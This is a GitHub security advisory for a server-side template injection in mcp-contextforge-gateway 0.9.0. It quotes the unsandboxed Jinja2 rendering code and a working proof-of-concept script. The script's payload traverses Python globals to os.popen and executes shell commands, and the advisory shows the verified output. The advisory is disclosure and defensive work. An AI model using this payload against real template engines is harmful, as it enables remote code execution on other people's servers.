GHSA-vwf3-4xxj-qg6h
mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to Remote Code Execution in `PromptService._render_template` via unsandboxed Jinja2 Environment
Summary
### Summary `mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2's plain `Environment()` rather than `SandboxedEnvironment`. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution. ### Details **Affected component:** `mcpgateway/services/prompt_service.py` **Affected version:** `0.9.0` (verified). The fix in the unreleased `main` branch indicates all earlier published versions are likewise affected. **Vulnerable code** `mcpgateway/services/prompt_service.py`, line 26: ```python from jinja2 import Environment, meta, select_autoescape ``` `mcpgateway/services/prompt_service.py`, line 135 (inside `PromptService.__init__`): ```python self._jinja_env = Environment( autoescape=select_autoescape(["html", "xml"]), trim_blocks=True, lstrip_blocks=True, ) ``` `mcpgateway/services/prompt_service.py`, lines 1592–1616 (`_render_template`): ```python def _render_template(self, template: str, arguments: Dict[str, str]) -> str: ... try: jinja_template = self._jinja_env.from_string(template) return jinja_template.render(**arguments) except Exception: try: return template.format(**arguments) except Exception as e: raise PromptError(f"Failed to render template: {str(e)}") ``` `_render_template` is invoked from `PromptService.get_prompt` (line 892): ```python rendered = self._render_template(prompt.template, arguments) ``` Where `prompt.template` is loaded from the database. The `template` field of the database row is populated via the `register_prompt`, `update_prompt`, and `register_prompts_bulk` API endpoints, which accept attacker-controlled template content from authenticated API callers. Because `self._jinja_env` is a plain `jinja2.Environment` rather than `jinja2.sandbox.SandboxedEnvironment`, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to `__builtins__.__import__` and calls `os.popen` (or any equivalent chain) executes arbitrary code at render time. ### PoC The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method. **Setup** ```bash pip install mcp-contextforge-gateway==0.9.0 ``` **Reproducer (`poc.py`)** ```python import os import warnings with warnings.catch_warnings(): warnings.simplefilter("ignore") from mcpgateway.services.prompt_service import PromptService import mcpgateway print(f"[+] mcpgateway version: {mcpgateway.__version__}") PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt") if os.path.exists(PROOF): os.remove(PROOF) service = PromptService() print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}") payload = ( "{{ self.__init__.__globals__.__builtins__" ".__import__('os').popen('echo MCPGATEWAY_RCE > " + PROOF.replace('\\', '/') + "').read() }}" ) print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}") service._render_template(payload, {}) print(f"[+] PROOF exists after render: {os.path.exists(PROOF)}") if os.path.exists(PROOF): with open(PROOF) as f: print(f"[+] PROOF contents: {f.read().strip()!r}") ``` **Verified output** ``` [+] mcpgateway version: 0.9.0 [+] PromptService._jinja_env type: Environment [+] PROOF exists before render: False [+] PROOF exists after render: True [+] PROOF contents: 'MCPGATEWAY_RCE' ``` The file `MCPGATEWAY_RCE_PROOF.txt` is written to disk by the embedded `os.popen` call, demonstrating arbitrary command execution in the gateway process. Replacing `echo MCPGATEWAY_RCE > ...` wit
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| PyPI | mcp-contextforge-gateway | — | 1.0.0 |
Remediation: Upgrade to 1.0.0 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.